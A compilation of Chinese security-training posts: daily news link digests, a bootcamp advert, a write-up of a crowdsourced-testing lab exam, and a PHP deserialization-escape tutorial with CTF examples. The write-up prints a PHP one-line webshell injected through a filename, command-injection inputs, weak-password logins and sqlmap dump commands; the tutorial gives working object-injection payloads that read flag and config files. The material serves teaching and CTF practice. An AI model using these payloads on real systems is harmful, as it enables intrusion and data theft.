网络安全日报 2020年11月04日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Oracle Solaris系统 0day漏洞被利用
https://threatpost.com/oracle-solaris-zero-day-attack/160929/
2、Adobe修复了Acrobat和Reader中的多个高危漏洞
https://threatpost.com/adobe-windows-macos-critical-acrobat-reader-flaws/160903/
3、Google修补了多个Chrome高危漏洞
https://www.securityweek.com/google-patches-actively-exploited-chrome-vulnerabilities
4、npm安全团队删除了一个名为“ twilio-npm”的恶意库
https://securityaffairs.co/wordpress/110348/malware/npm-library-backdoor.html
5、FireEye发布了一款用于威胁情报分析的虚拟机
https://www.zdnet.com/article/fireeye-releases-threatpursuit-a-windows-vm-for-threat-intel-analysts/
6、Ryuk在2020年所有勒索软件攻击中占三分之一
https://www.helpnetsecurity.com/2020/11/03/ryuk-ransomware-2020
7、CERT / CC在Twitter上启用了CVE ID名称生成机器人
https://www.securityweek.com/certcc-seeks-remove-fear-element-named-vulnerabilities
8、2020年公开记录的数据泄露已达360亿条
https://cisomag.eccouncil.org/2020-is-the-worst-year-on-record-in-terms-of-data-breaches-survey
9、Wroba手机银行木马针对美国用户
https://www.scmagazine.com/home/security-news/wroba-mobile-banking-trojan-targets-us-smartphones
10、从第二季度到第三季度Emotet木马攻击激增了1200%以上
https://www.infosecurity-magazine.com/news/ransomware-alert-as-emotet/
返“利”数百倍,攻略冒险分享中!
黑客入门必修训练营
第七期开学典礼
就在11月3日15:00-15:45
3天直播课全勤到课
即可获得全勤奖现金红包9.9元
学习还能拿钱,这样操作了解一下
01 0基础萌新学习建议
网络安全其实相对来说入门比较友好。圈内搞网络安全的很多都是其他专业转入,看下图你可能更清晰:
怎么入门网络安全
网络安全学习,一般均从Web安全入手,这个学习路径可以参考:
Web安全入门学习路径
至于其他的学习资料,你可能已经尝试过在先知社区、CSDN等安全社区寻找文章或视频,最终都会发现:基础入门的资源很多,质量良莠不齐,自学的效率并不高。
而作为一个萌新小白,在学习过程中可能会遇到各种各样奇奇怪怪的情况,基于此,我们开设了一门——3天《黑客入门必修训练营》的课程,本号粉丝限时福利:2人团购仅需2分钱即可报名。
训练营的周期为11月3日-11月5日下午3点到4点,心急的小伙伴可以直接扫码解锁!
11月3日下午15:00将进行第一节课开学典礼!!!
只需要2分钱你就能系统学习,收获CSRF漏洞从入门到进阶实战训练+7天高质量社群服务+专业老师答疑+配套靶场实战巩固,还能获取全勤奖现金红包+独家资料大礼包!
如果你对训练营不太了解,请继续往下看。
02 训练营主要讲什么
本次训练营为期3天,你将在训练营了解到网络安全的行业前景及学习规划、明确今后的学习方向,还能从0基础学习CSRF到进阶学习,具体课程安排如下:
本次课程提供
1.课程永久回放,供你重复观看,可稳固知新
2.配套课程课后靶场作业:学员完成课后靶场作业,老师定时讲解作业重点、难点,确保学员真正掌握所学知识!
3.答疑服务,高质量的Web安全学习社群,班级群内分享前沿知识,跟一群人行走,你能走得更远
4.全勤奖+独家学习资料包
扫码领取资料及靶场地址
本课程适合想入门渗透测试的同学参加,学习过程中,同学们千万不要放弃,三天按时进行学习,同时学习的过程中要记录图文并茂的笔记,最重要的进行实践,实践,实践,所以课后靶场实战作业一定一定要按时完成。
03 报名训练营小惊喜
除了优质的课程内容,我们还给大家准备了小惊喜——全勤奖励
全勤奖
3天直播课全勤到课,即可获得全勤奖,全勤奖奖励为现金红包9.9元,学习还能拿钱,快来参与吧,名额不限哟!除此之外,报名训练营,我们还提供独家资料包。
福利!
如果你已报名本次课程,想要更多的网络安全学习工具及学习资料,扫描下方二维码后发送报名截图并回复【安全学习】领取。(希望领取了资料的同学们,能把资料真正的用起来,而不是直接打入冷宫!)
同时,如果你想看看自己适不适合入门网络安全,也可以扫描二维码,我们有一套完整的测试体系可以帮助你。
扫码领取学习资料
2分钱 = 掌握网络安全行业前景 + 网络安全学习路径 + CSRF漏洞0基础到精通 + 全勤奖(9.9元现金红包) + 网络安全独家工具及资料包
记一次某众测的考核
本文涉及知识点:https://www.yijinglab.com/expc.do?ec=ECIDee9320adea6e062017112114390500001&pk_campaign=heetian-wemedia(介绍SQL注入原理并解释了简单判断一个参数是否存在注入的原理,能够利用简单的SQL注入获取其他敏感数据。)
前言
最近没什么事,于是报名了某众测,填了资料主办方给了个靶场要考核,这里分享一下靶场考核中的解题过程,一共十道题目,难度也不算太难,但也有一些题没做出来,最后也是顺利的通过了考核。
前戏
首先考核要答一些选择题和判断题,没什么好说的,主办方要求连了vpn没法上外网,但是都是一些基础的网络安全问题,随便答答就过了,接下来就是靶场的题目了。
靶场题目
第一题
WeSec微信公众号
提示:用IPAD手机的2G网络上网
很明显改改UA头就行了,直接搜一下UA头,替换上去。
改UA头
GET /mp_weixin_qq_com.php HTTP/1.1
Host: 119.3.225.8:41064
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/7.0.10(0x17000a21) NetType/2G Language/zh_CN
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://119.3.225.8:41064/index.html
Upgrade-Insecure-Requests: 1
返回
mozhe64d25d173bdbae7366b76e0798a
第二题
易学车智能考试系统
扫目录发现/admin
爆破弱口令admin和admin888登录后台,发现后台是一个保存文件的功能,这里可以直接读取备份文件bak_wwwroot.zip的源码,关键代码如下:
<input name="todir" type="text" id="todir" value="__bak__" class="xxp">(留空为本目录)<br>文件保存名称:
<input name="zipname" type="text" id="zipname" value="bak_wwwroot.zip" class="xxp">(.zip)<br><br>
<input name="password" type="hidden" id="password" value="<?php echo $_POST['password'];?>">
<input name="myaction" type="hidden" id="myaction" value="dozip">
<input type="submit" name="Submit" class="sub" value=" 开始备份">
function createfile(){
$endstr = "\x50\x4b\x05\x06\x00\x00\x00\x00" .
pack('v', $this -> file_count) .
pack('v', $this -> file_count) .
pack('V', $this -> dirstr_len) .
pack('V', $this -> datastr_len) .
"\x00\x00";
fwrite($this->fp,$this->dirstr.$endstr);
fclose($this->fp);
}
}
if(is_array($_REQUEST[dfile])){
$faisunZIP = new PHPzip;
if($faisunZIP -> startfile("$_REQUEST[todir]$_REQUEST[zipname]")){
echo "正在添加备份文件...<br><br>";
$filenum = 0;
foreach($_REQUEST[dfile] as $file){
if(is_file($file)){
echo "文件: $file<br>";
}else{
echo "目录: $file<br>";
}
$filenum += listfiles($file);
}
$faisunZIP -> createfile();
echo "<br>备份完成,共添加 $filenum 个文件.<br><a href='$_REQUEST[todir]$_REQUEST[zipname]'>$_REQUEST[todir]$_REQUEST[zipname] (".num_bitunit(filesize("$_REQUEST[todir]$_REQUEST[zipname]")).")</a>";
}else{
echo "$_REQUEST[todir]$_REQUEST[zipname] 不能写入,请检查路径或权限是否正确.<br>";
}
}else{
echo "没有选择的文件或目录.<br>";
}
endif;
?>
审计代码,这里的dfile参数任何的过滤,尝试修改一下dfile的值,惊喜的发现可以读取任意文件,并写入bak_wwwroot.zip,下载bak_wwwroot.zip就可以读取了。
dfile[]=/var/www/html/index.php&todir=__bak__&zipname=bak_wwwroot.zip&password=admin888&myaction=dozip&Submit=+%E5%BC%80%E5%A7%8B%E5%A4%87%E4%BB%BD
虽然知道可以读取任意文件,但是不知道key是放在哪个地方,于是这里又卡了一下,但是转头一想,这里是写一个文件名并压缩进文件里面,老CTFer都知道做msic的时候,文件名会写入压缩包里面,于是写一个一句话木马,并把bak_wwwroot.zip改为bak_wwwroot.php试一下,没想到成功了。
dfile[]=/<?php system($_GET[cmd])?>&todir=__bak__&zipname=bak_wwwroot.php&password=admin888&myaction=dozip&Submit=+%E5%BC%80%E5%A7%8B%E5%A4%87%E4%BB%BD
读取目录下所有文件目录
http://119.3.187.27:41154/admin_site_bak2088/__bak__/bak_wwwroot.php?cmd=ls%20../
读取key
http://119.3.187.27:41169/admin_K29ke8/__bak__/bak_wwwroot.php?cmd=cat%20/key_ss32ce5ew1v.txt
第三题
数字校园
提示:浏览器类型要是IPAD,以及要用英文,分辨率要1024*768
和第一题一样的套路
不过这里要改下
■Accept-Language为en,zh;q=0.8,en-us;q=0.5,en;q=0.3
■ Cookie为screenX=1024; screenY=768
第四题
网站文件备份服务器
虽然页面和第二题不同,但是扫目录同样扫出了是一样的后台,爆破弱口令,然后发现admin和admin,剩下的就和之前的步骤是一样的了,写一个马然后读key。
dfile%5B%5D=/<?php system($_GET[cmd])?>&todir=__bak__&zipname=bak_wwwroot.php&password=admin888&myaction=dozip&Submit=+%E5%BC%80%E5%A7%8B%E5%A4%87%E4%BB%BD
第五题
教学器械采购平台
一道命令执行的题,有个输入框
随便fuzz一下,发现过滤了&&和空格
于是&&用&&替代绕过,空格用<替代绕过
先用ls读取文件目录
iipp=127.0.0.1&&ls&submit=Ping
然后再读取key即可
第六题
教学质量评价系统
发现有个注入点
http://119.3.177.25:41204/show.php?id=MQ0=
测试了一下发现是base64盲注,用tamper指定base64编码,直接丢sqlmap里面跑一下。
这里要注意的是这个靶场不太稳定,我们用sqlmap有个小问题就是盲注的时候他会根据响应速度来调整发送包的速度,太快了可能网站会崩,所以sqlmap会增加延迟,让他更像是人手工在注入,我觉得慢就断开了,但是如果不清理缓存每次重来就是从上一次继续,所以这里的话加上fresh-queries,再加上batch自动确认。
跑数据库
python3 sqlmap.py -u http://119.3.177.25:41204/show.php?id=1* --tamper base64encode.py --dbs --dump --batch --fresh-queries
跑表名
python3 sqlmap.py -u http://119.3.177.25:41204/show.php?id=1* --tamper base64encode.py --tables -D test --dump --batch --fresh-queries
跑列名
python3 sqlmap.py -u http://119.3.177.25:41204/show.php?id=1* --tamper base64encode.py --columns -D test -T data --dump --batch --fresh-queries
最后payload如下
python3 sqlmap.py -u http://119.3.177.25:41204/show.php?id=1* --tamper base64encode.py -D test -T data -C thekey --dump --batch --fresh-queries
直接跑出key
第七题
XWAY科技管理系统
平台停机维护的通知存在注入,发现注入点在
http://119.3.225.8:41046/new_list.php?id=1
继续sqlmap跑起来,
跑数据库
python3 sqlmap.py -u http://119.3.225.8:41046/new_list.php?id=1 --dbs --dump --batch
跑表名
python3 sqlmap.py -u http://119.3.225.8:41046/new_list.php?id=1 --tables -T member --dump --batch
跑列名
python3 sqlmap.py -u http://119.3.225.8:41046/new_list.php?id=1 --columns -T member -D stormgroup --dump --batch
最后payload
python3 sqlmap.py -u http://119.3.225.8:41046/new_list.php?id=1 -D stormgroup -T member -C name,password --dump --batch
跑出两个账号密码
■ mozhe/528469
■ mozhe/888054
登录之后,即可拿到key。
第八题
XWAY电脑采购系统
随便看了发现到一个注入点
http://119.3.187.27:41144/new_list.php?id=1
发现是union注入,依旧尝试用sqlmap
跑数据库
python3 sqlmap.py -u http://119.3.187.27:41144/new_list.php?id=1 --dbs --dump --batch
跑表名
python3 sqlmap.py -u http://119.3.187.27:41144/new_list.php?id=1 --tables -D min_ju4t_mel1i --dump --batch
跑列名
python3 sqlmap.py -u http://119.3.187.27:41144/new_list.php?id=1 --columns -D min_ju4t_mel1i -T (@dmin9_td4b} --dump --batch
最后payload
python3 sqlmap.py -u http://119.3.187.27:41144/new_list.php?id=1 -D min_ju4t_mel1i -T (@dmin9_td4b} -C username,password --dump --batch
最后跑出五个账号密码,只有一个能用,md5解密登录拿key。
sql注入不愧是OWASP TOP 10 之 榜首,10道题目出现了3道,有一说一sqlmap真的是好用。
网络安全日报 2020年11月3日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、新的NAT /防火墙绕过攻击可以访问任何TCP / UDP服务
https://thehackernews.com/2020/11/new-natfirewall-bypass-attack-lets.html
2、Oracle发布WebLogic漏洞CVE-2020-14750紧急补丁
https://securityaffairs.co/wordpress/110329/hacking/cve-2020-14750-weblogic-server-flaw.html
3、Maze勒索软件运营商宣布正式停止运营
https://securityaffairs.co/wordpress/110318/cyber-crime/maze-ransomware-teminates-operations.html
4、APT团体Kimsuky被发现使用新的恶意软件
https://securityaffairs.co/wordpress/110306/apt/kimsuky-apt-new-malware.html
5、美国在线金银交易商JM Bullion遭遭Magecart攻击
https://securityaffairs.co/wordpress/110290/cyber-crime/jm-bullion-hacked.html
6、英国ICO对万豪酒店2018年数据泄露处以1840W英镑罚款
https://securityaffairs.co/wordpress/110297/data-breach/uk-ico-fines-marriott.html
7、 WeWork打印管理账号被曝使用了弱口令
https://techcrunch.com/2020/11/01/wework-employees-used-an-alarmingly-insecure-printer-password/
8、网络诈骗通过Google云端硬盘协作功能来发送恶意链接
https://threatpost.com/scammers-google-drive-malicious-links/160832/
9、研究人员展示了可以感染机器学习模型的“无触发”后门
https://portswigger.net/daily-swig/triggerless-backdoors-can-infect-machine-learning-models-without-leaving-a-trace-research
10、TrickBot死灰复燃
https://cyware.com/news/trickbot-rises-from-the-ashes-d02b0e92
细说php反序列化字符逃逸
相关实验推荐--https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182016010714511600001&pk_campaign=heetian-wemedia (通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。)
前言
php反序列化的字符逃逸算是比较难理解的一个知识点,在最近的好几场比赛中都出现了相关的题,于是下定决心彻底理解透彻这个知识点,于是便有了这篇文章。
基础知识理解
字符逃逸在理解之后就能够明白,这是一种闭合的思想,它类似SQL中的万能密码,理解这种原理之后会变得特别容易。
在SQL注入中,我们常用'、"来对注入点进行一些闭合或者一些试探,从而进行各种姿势的注入,反序列化时,序列化的值是以;作为字段的分隔,在结尾是以}结束,我们稍微了解一下,
<?php
class people{
public $name = 'Tom';
public $sex = 'boy';
public $age = '12';
}
$a = new people();
print_r(serialize($a));
O:6:"people":3:
{s:4:"name";s:3:"Tom";s:3:"sex";s:3:"boy";s:3:"age";s:2:"12";}
反序列化的过程就是碰到;}与最前面的{配对后,便停止反序列化。我们可以将上面的序列化的值稍作改变:
O:6:"people":3:
{s:4:"name";s:3:"Tom";s:3:"sex";s:3:"boy";s:3:"age";s:2:"12";}123123
可以看到,并没有报错,而且也顺利将这个对象反序列化出来了,恰好说明了我们以上所说的闭合的问题,与此同时,修改一些序列化出来的值可以反序列化出我们所知道的对象中里没有的值,在学习绕过__wakeup就能过知道了,这里可以自己去做一些尝试,去理解。
接下来就是要说到报错的时候了,当你的字符串长度与所描述的长度不一样时,便会报错,比如上图中s:3:"Tom"变成s:4:"Tom"或s:2:"Tom"便会报错,为的就是解决这种报错,所以在字符逃逸中分为两类:
1.字符变多
2.字符减少
关键字符增多
在题目中,往往对一些关键字会进行一些过滤,使用的手段通常替换关键字,使得一些关键字增多,简单认识一下,正常序列化查看结果
这里,我们对序列化后的字符串进行了替换,使得后来的反序列化报错,那我们就需要在Tom这里面的字符串做手脚,在username之后只有一个age,所以在双引号里面可以构造我需要的username之后参数的值,这里修改age的值,我们这里将Tom替换为Tom";s:3:"age";s:2:"35";}然后进行反序列化,这里指的是在对username传参的时候进行修改,也就是我们写链子的时候进行的操作
可以看到构造出来的序列化字符串长度为25,而在上面的反序列化过程中,他会将一个o变成两个,oo,那么得到的应该就是s:25:"Toom"我们要做的就是让这个双引号里面的字符串在过滤替换之后真的有描述的这么长,让他不要报错,再配合反序列化的特点,(反序列化的过程就是碰到;}与最前面的{配对后,便停止反序列化)闭合后忽略后面的age:13的字符串成功使得age被修改为35。
而age的修改需要前面的字符串username的值长度与描述的一样,这需要我们精确的计算,这里是将一个o变成两个,以下就只写o不写Tom,效果一致,我们需要知道我们除了双引号以内的,所构造的字符串长度为多少,即";s:3:"age";s:2:"35";}的长度22,那就需要22个o,
总的来说就是22个o加上后面的字符串长度22,总长度就为44,在被过滤替换后,光o就有44个,符合描述的字符串长度。下面就说明(为什么叫做逃逸)
这里特意写了"将一大串o进行与前面的"闭合了,如果直接反序列化,在序列化出来的值中就包含了";s:3:"age";s:2:"35";}。
反序列的过程中,所描述的字符串长度(这里为44),而后面双引号包裹的字符串长度(这里为22)不够所描述的长度,那么他将会向后吞噬,他会将后双引号吞噬,直至足够所描述的长度,在一切吞噬结束之后,序列化出来的字符串如果不满足反序列化的字符串的格式,就会报错。我们这里是他吞噬结束后,还满足这个格式,所以不报错。
在这个例子中,我们利用他对序列化后的值,进行增加字符串长度的过滤,让他填充双引号内的字符串达到所描述的44这么长,使得后面的s:3:"age";s:2:"35";不被吞噬,让这部分代码逃逸出吞噬,又让他提前遇到}忽略后面的一些不需要的字符串,结束反序列化。
可以看到,我们构造的payload是成功修改了age,这里是数组,在对对象操作时也是一样的。
刚刚说到吞噬,在增加字符串的题目中,我们是利用题中的增加操作,阻止他进行向后吞噬我们构造的代码,而在字符减少的过程中,我们也是利用这个操作。
关键字符减少
有了前面”吞噬“的一种解释,那么字符串减少就很好说了 ,同样的也是因为替换的问题,使得参数可以让我们构造payload
这里的错误是因为s:5:"zddo"长度不够,他向后吞噬了一个双引号,导致反序列化格式错误,从而报错,我们要做的就是让他往后去吞噬一些我们构造的一些代码。以下讲具体实施。
同样的,我们这里以修改age为例,不同的是与增加字符串传值的地方有些许不同,我们构造的值是有一部分让他吞噬的
先正常传递值序列化出我们需要修改的值,我们需要的是将age:13改为35
取出";s:3:"age";s:2:"35";}这就是我们需要构造的,接着继续将这部分内容重新传值,序列化出来,得到下面的结果
选中部分就是我们构造出来,他需要吞噬的代码,s:22:""这个双引号里面我们还有操作的空间,用来补齐字符串长度,接着就是计算我们自己所需要吃掉的字符串长度为18,根据过滤,他是将两个o变成一个,也就是每吃掉一个字符,就需要有一个oo,那我们需要吃掉的是18个长度,那么我们就需要18个oo,在吞噬结束之后我们的格式又恢复正确,使得真正的字符s:3:"age";s:2:"35";逃逸出来,成功加入反序列化
这就是我们最终的payload,可以看到下图成功修改了
例题
有了以上基础,就可以做题了,简单的开始入手
安恒四月(字符减少)
<?php
show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}
class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}
class C{
public $c;
function __toString(){
echo file_get_contents($this->c);
return 'nice';
}
}
$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));
看到上面的代码,很明显,我们需要利用file_get_contents();读取文件,将flag读取出来,但是他是个__toString()方法,我们就要让他触发这个方法,当反序列化出对象后,被当作字符串使用时,就可以触发,那我们就需要写一个链,与此同时我们也要知道字符串被删减了几个字符
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
看这一部分即可了解到,如果发现不可见字符*不可见字符,字符串就会增多,接着又将\0\0\0的6个字符变成3个字符不可见字符*不可见字符,我们自己是不会去写入不可见字符的在这道题中,相反可以故意写入\0\0\0使得字符串减少,通过计算逃逸字符,读取flag文件
题目中序列化的是对象$a,里面有两个参数,username和password,我们要传入的也是这两个参数的值,所以我们构造的payload,应该是往password传我们构造好的字符,而在username传入的为计算好的\0\0\0个数,
按照流程来,先写一个链子,某些参数先随便写
";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:5:"/flag";}}}
选中部分就是我们需要重新传参的地方,我们传进password,再次序列化看看效果
我所选择的地方就是需要被吞噬的部分,然后才能使得后边的代码全部逃逸,长度为23,计算后发现需要8个\0\0\0,但8个这样的符号会吞噬24个字符,因此我们可以在s:70:""双引号里面可以随意补一个字符让它吞噬。
因此我们最终在password里面传参的应该是:
i";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:5:"/flag";}}}
而在username中传的就是8个\0\0\0:
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
最终payload:
?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=i";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:5:"/flag";}}}
0CTF piapiapia(字符增加)
扫描目录发现http://www.zip/,下载后开始,审计源码
我们根据他的网页一步步看源码,首先他要我们登陆,我们先注册一个账号进行登陆
看到上图的界面,这时我们看到update.php,都是一些对参数的白名单按要求写即可,图片也随便传一个符合大小的即可,但是注意nickname是我们要操作的地方,稍后讲解,然后有个序列化数组的过程
$user->update_profile($username, serialize($profile));
在上传成功后,他会到profile.php,我们看到profile.php,有这么一段东西
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
这里告诉我们,他反序列化的是profile这个数组序列化后的值,读取的是键名为photo里面的文件名,而flag在config.php也就是说我们需要构造的就是数组中$profile['photo']='config.php'
那么怎样才能让他读这个config.php呢
我们看到class.php,看到父类mysql中:
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
发现序列化的值他会传递给user中的方法update_profile,接着update_profile又将这个值传递给了父类方法filter,显而易见,就是一种过滤,防止sql注入,但是可以发现,他是以替换的方式给返回值,在过滤的字符串中,只有where变成hacker,由5个字符变成6个,所以是字符增加的逃逸方式,接着开始构造
选择部分是需要传入的,在phone和email都是白名单,传入的格式受限制,只有nickname是黑名单,所以我们要绕过这个黑名单,bp抓包
他使用的是strlen()所以这里有个方式,这个函数如果参数是字符串,那么数出来的就是字符串个数,如果是数组,那么数出来的就是数组元素的个数
将nickname改成nickname[]然后传参
传的参数我们需要构造,需要计算,上面分析了我们需要构造的字符串";}s:5:"photo";s:10:"config.php";},但是他是字符增多,我们就需要知道需要逃逸的字符有多少个,计算了一下为34个,(这里因为改为了数组,而数组的序列化格式结束后是一个大括号,所以我们在一开始的”;后面增加了一个花括号)所以需要34个where帮助我们逃逸这部分代码,上传成功,根据这个修改放包即可
返回网页点击
之后可以看到一张显示不出来的图片,因为使用base64编码了,右击查看图片信息
解码即可看到flag
网络安全日报2020年11月2日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、安全专家已提取用于加密英特尔CPU微代码的密钥
https://arstechnica.com/gadgets/2020/10/in-a-first-researchers-extract-secret-key-used-to-encrypt-intel-cpu-code/
2、严重的OpenEMR漏洞使黑客可以远程访问健康记录
https://www.securityweek.com/critical-openemr-vulnerabilities-give-hackers-remote-access-health-records
3、黑客正在出售从17家公司窃取的3400万份用户记录
https://www.bleepingcomputer.com/news/security/hacker-is-selling-34-million-user-records-stolen-from-17-companies/
4、NVIDIA修补了影响多个主要供应商的AMI BMC漏洞
https://www.securityweek.com/nvidia-patches-ami-bmc-vulnerabilities-impacting-several-major-vendors
5、微软称超过10台在线计算机仍容易受到SMBGhost攻击
https://securityaffairs.co/wordpress/110247/hacking/smbghost-vulnerable-machines-dangers.html
6、REvil勒索软件入侵了游戏公司GPI
https://securityaffairs.co/wordpress/110237/cyber-crime/gaming-partners-international-revil-ransomware.html7、谷歌披露了正在被利用的Windows 0day漏洞
https://securityaffairs.co/wordpress/110193/hacking/google-discloses-windows-zero-day.html
8、WordPress发布新版修复了数十个安全漏洞
https://threatpost.com/wordpress-patches-rce-bug/160812/
9、攻击者正在劫持普渡大学等热门高校的电子邮件帐户
https://threatpost.com/university-email-hijacking-phishing-malwarephishing-malware/160735/
10、FreeBSD 修复 icmp6 的一个远程 UAF 漏洞
https://lists.freebsd.org/pipermail/freebsd-net/2020-October/057124.html
网络安全日报 2020年10月30日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、KashmirBlack僵尸网络劫持了数十万个主流CMS网站
https://thehackernews.com/2020/10/kashmirblack-botnet-hijacks-thousands.html
2、StackRox发布用于查找Kubernetes错误配置的开源工具
https://www.securityweek.com/stackrox-releases-open-source-tool-finding-kubernetes-misconfigurations
3、Hörmann制造的网关设备存在漏洞可远程打开车库门
https://www.securityweek.com/hackers-can-open-doors-exploiting-vulnerabilities-h%C3%B6rmann-device
4、FBI和CISA发布联合警报警告医疗保健部门即将面临勒索软件攻击
https://securityaffairs.co/wordpress/110147/cyber-crime/ransomware-attacks-healthcare-sector.html
5、Oracle WebLogic严重漏洞CVE-2020-14882已被在野利用
https://securityaffairs.co/wordpress/110137/hacking/weblogic-flaw-cve-2020-14882-attacks.html
6、安全厂商披露Turla APT攻击欧洲政府组织
https://securityaffairs.co/wordpress/110127/apt/turla-target-eu-gov-org.html
7、瑞典领先的安全公司Gunnebo AB遭勒索软件攻击后数据被泄露
https://www.hackread.com/mount-locker-ransomware-group-gunnebo-ab-data/
8、伊朗组织Phosphorous攻击潜在会议参与者
https://blogs.microsoft.com/on-the-issues/2020/10/28/cyberattacks-phosphorus-t20-munich-security-conference/
9、虚假COVID-19调查针对大学传播勒索软件
https://blog.malwarebytes.com/cybercrime/2020/10/fake-covid-19-survey-hides-ransomware-in-canadian-university-attack/
10、Maze勒索软件正打算关闭其业务
https://www.bleepingcomputer.com/news/security/maze-ransomware-is-shutting-down-its-cybercrime-operation/
网络安全日报 2020年10月29日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、 US-CERT披露朝鲜APT组织Kimsuky的TTP
https://us-cert.cisa.gov/ncas/alerts/aa20-301a
2、网络钓鱼活动针对公共和私营部门窃取凭据
https://www.recordedfuture.com/fiercephish-credential-harvesting-campaign/
3、家具巨头Steelcase遭到Ryuk勒索软件攻击
https://www.bleepingcomputer.com/news/security/steelcase-furniture-giant-hit-by-ryuk-ransomware-attack/
4、黑客入侵安全公司窃取瑞典当局和银行数据
https://ciso.economictimes.indiatimes.com/news/swedish-authorities-banks-hit-by-security-data-leak-report/78891782
5、研究人员发现PACS服务器超过2PB医疗数据可随意访问
https://www.securityweek.com/exclusive-medical-records-35-million-us-patients-can-be-accessed-and-manipulated-anyone
6、川普竞选网站遭黑客入侵被挂索要门罗币页面
https://www.securityweek.com/trump-campaign-website-broken-hackers
7、研究人员发现新的TrickBot Linux变体
https://securityaffairs.co/wordpress/110092/cyber-crime/trickbot-linux-variant.html
8、Enel Group今年遭受了第二次勒索软件攻击
https://securityaffairs.co/wordpress/110067/malware/enel-group-netwalker-ransomware.html
9、FBI称黑客通过SonarQube从美国政府机构和企业组织窃取数据
https://www.bleepingcomputer.com/news/security/fbi-hackers-stole-government-source-code-via-sonarqube-instances/
10、黑客利用"侵犯版权"通知钓鱼窃取Facebook凭证
https://nakedsecurity.sophos.com/2020/10/27/facebook-copyright-violation-tries-to-get-past-2fa-dont-fall-for-it/
网络安全日报 2020年10月28日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Google从Play商店中删除了21个恶意Android应用
https://thehackernews.com/2020/10/google-android-malwar.html
2、研究人员发现Microsoft 365用户中有97%没有启用MFA
https://threatpost.com/microsoft-365-admins-mfa/160592/
3、Microsoft为Azure引入了新的密码喷涂攻击检测
https://www.securityweek.com/microsoft-introduces-new-password-spray-detection-azure
4、Enel Group今年遭受了第二次勒索软件攻击
https://securityaffairs.co/wordpress/110067/malware/enel-group-netwalker-ransomware.html
5、Fragomen律师事务所数据泄露暴露谷歌员工信息
https://techcrunch.com/2020/10/26/fragomen-data-breach-google-employees/
6、黑客在Harvest Finance盗窃2400万美元后被发现
https://securityaffairs.co/wordpress/110043/cyber-crime/harvest-finance-cyber-heist.html
7、研究人员发现100多个运行ICC PRO的智能灌溉系统可被攻击
https://securityaffairs.co/wordpress/110032/iot/irrigation-systems-exposed-online.html
8、研究人员发现Mirai的新变体-Katana
https://www.darkreading.com/iot/avira-researchers-discover-a-new-variant-of-mirai/d/d-id/1339277
9、Winston Privacy设备中存在漏洞可被远程攻击
https://www.securityweek.com/flaws-winston-privacy-devices-can-expose-networks-remote-attacks
10、亚马逊解雇了一名泄露客户信息的员工
https://threatpost.com/amazon-fires-employee-customer-data/160610/
HDCTF-2nd复盘
